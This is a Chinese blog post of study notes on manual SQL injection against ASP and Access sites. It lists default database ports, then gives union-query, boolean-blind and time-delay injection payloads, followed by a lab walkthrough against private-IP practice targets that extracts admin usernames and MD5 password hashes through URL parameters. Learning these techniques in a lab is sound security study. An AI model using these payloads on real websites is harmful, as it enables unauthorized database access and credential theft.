access注入
一般搭配
-
asp iis+access
-
aspx iis+mssql (端口1433)
-
access只有一个库
-
默认端口号
1、mysql的默认端口是3306,可以编辑用户目录下的 .my.cnf 文件进行修改;
2、sqlserver默认端口号为:1433;
3、oracle默认端口号为:1521;
4、DB2默认端口号为:5000;
5、PostgreSQL默认端口号为:5432。
联合查询
用到 的语句:select 字段名 from 表名
判断是否是字符型、数字型等,并将其闭合
1.首先进行判断,?id=1 and 1=1正确而id=2 and 1=2错误则证明有注入点
2.判断字段数,?id=1 order by 1(从1或随便一个数开始猜,直到查询出现错误)
3.?id=1 union select 1,2,3,4,5....... from admin(表名),字段数太多时可以使用Hackbar插件,根据回显在相应位置便可查询账号密码等信息
小技巧:不知道字段名时可以右键查看该源代码中表单的名字进行尝试
盲注布尔 时间
?id=1 and (select count(*)from msysobjects)>0 msysobjects只有access才有这个系统表,
可通过这个表判断是access还是SQL server
布尔:
- 统计个数:?id=1 and (select count(*)from admin)>1 count是统计该表有几行数据,当>1正常而>2错误时可判断出该表有一行数据
- 判断账号长度:确认该表有一行数据时可使用如?id=1 and 1=(select count(*)from admin where len(adminuid)>4) 根据adminuid字段的值的长度是否大于4判断adminuid值的长度,直到试到报错前的最大值。同理也可试该账户的密码的长度,不过密码可能是某种类型的加密
- 知道账号长度后逐渐判断具体的值:id=1 and (select top 1 asc(mid(adminuid,1,1)) from admin )>97
top1是查询首条记录,mid函数是在adminuid中从第一个字符开始截取一个,如果是截取第二个则是2,1.
如果页面返回正常则该字段的第一个的ASCII值是大于97的,并一步步测试下去
时间:
延时注入,通过判断页面的延时响应时间来推断,主要用到2个函数
if(问题,true,false),sleep()
在bool盲注的基础上构造时间延时的函数即可,如
?id=1 and if((select count(*)from admin)>1,sleep(3),1)
靶场:
asp+access手工注入靶场中(联合查询),点击保安类的第一个服装得
http://192.168.1.5/Production/PRODUCT_DETAIL.asp?id=1513
当输入asp?id=1513 and 1=1时正常,and 1=2时错误,即有注入点。且存在联合查询,猜表名为admin,经过测试,该admin表有22种字段名
http://192.168.1.5/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin
这里通过回显位爆出账号和密码,密码是MD5加密
asp+access报错手工布尔注入(盲注),点击第二个微软认证专家得到
http://192.168.1.6/ReadNews.asp?NewsID=19&BigClassID=2&SmallClassID=2
经过1=1 和1=2测试,该三个参数都有注入点,但是order by不管几都会报错。
- 这时可通过报错盲注验证表的存在等,如
http://192.168.1.6/ReadNews.asp?NewsID=19&BigClassID=2 &SmallClassID=2 and (select count(*) from admin)=1
等于1的时候正确,2的时候错误,说明该表存在一条数据。
- SmallClassID=2 and (select count(*) from admin where len(adminuid)=5)>0 (不知道字段名时,点击后台登录的页面源代码的表单结构,极有可能是字段名),通过测试,该uid值的长度为5,同理可得出密码的长度 &SmallClassID=2 and (select count(*) from admin where len(adminpwd)>15)>0
- 判断uid第一位的值,若存在多条数据,可在Asc前面加上如top 2,
&SmallClassID=2 and (select top 1 asc(mid(adminuid,1,1))=97 from admin)
本文来自博客园,作者:MKID1412,转载请注明原文链接:https://www.cnblogs.com/MKID/articles/16626892.html